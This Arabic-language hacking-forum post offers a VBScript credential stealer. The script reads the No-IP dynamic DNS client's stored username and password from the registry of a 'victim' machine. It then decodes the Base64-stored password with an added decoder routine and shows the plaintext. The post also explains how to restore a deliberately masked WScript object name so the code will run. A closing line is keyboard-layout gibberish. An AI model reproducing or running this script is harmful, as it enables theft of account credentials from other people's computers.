[dàmon]

(موضوع, المساببقه, النو, جديد, كلمه

سحب كلمه سر النو اي بي !! جديد

السسلام عليكمم

اليوم جايب لكم موضوع رووعه
وهو كود vbs لسحب كلمه سر النو اي بي في جهاز الضحيه

'damon.net
dim sh
set sh =WScript.CreateObject("WScript.****************l")
MsgBox(noip)

Function noip
On Error Resume next
Dim usr
usr = sh.RegRead ("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Username")
If usr = "" Then 
noip = "/"
else
pass = sh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Password")
noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD (Base64): " & pass & vbcrlf 
End if

طبعا راح يطلع مشفر .. تقدر تضيف هذا عشان يفك التشفير

Function Base64Decode(ByVal base64String)
   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  'remove white spaces, If any
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
    'The source must consists from groups with Len of 4 chars
  dataLength = Len(base64String)



  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If
 
  ' Now decode each group:
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    ' Each data group encodes up To 3 actual bytes.
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      ' Convert each character into 6 bits of data, And add it To
      ' an integer For temporary storage.  If a character is a '=', there
      ' is one fewer data byte.  (There can only be a maximum of 2 '=' In
      ' the whole string.)

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If
      nGroup = 64 * nGroup + thisData
    Next
    
    'Hex splits the long To 6 groups with 4 bits
    nGroup = Hex(nGroup)
    
    'Add leading zeros
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    'Convert the 3 byte hex integer (6 chars) To 3 characters
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    'add numDataBytes characters To out string
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function

طبعا نغير هذا السطر
noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD (Base64): " & pass & vbcrlf

الى

	noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD: " & Base64Decode (pass) & vbcrlf

ويجب استبدال النجوم بـ shell

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

spf ;gli sv hgk, hd fd !! []d] (l,q,u hglshffri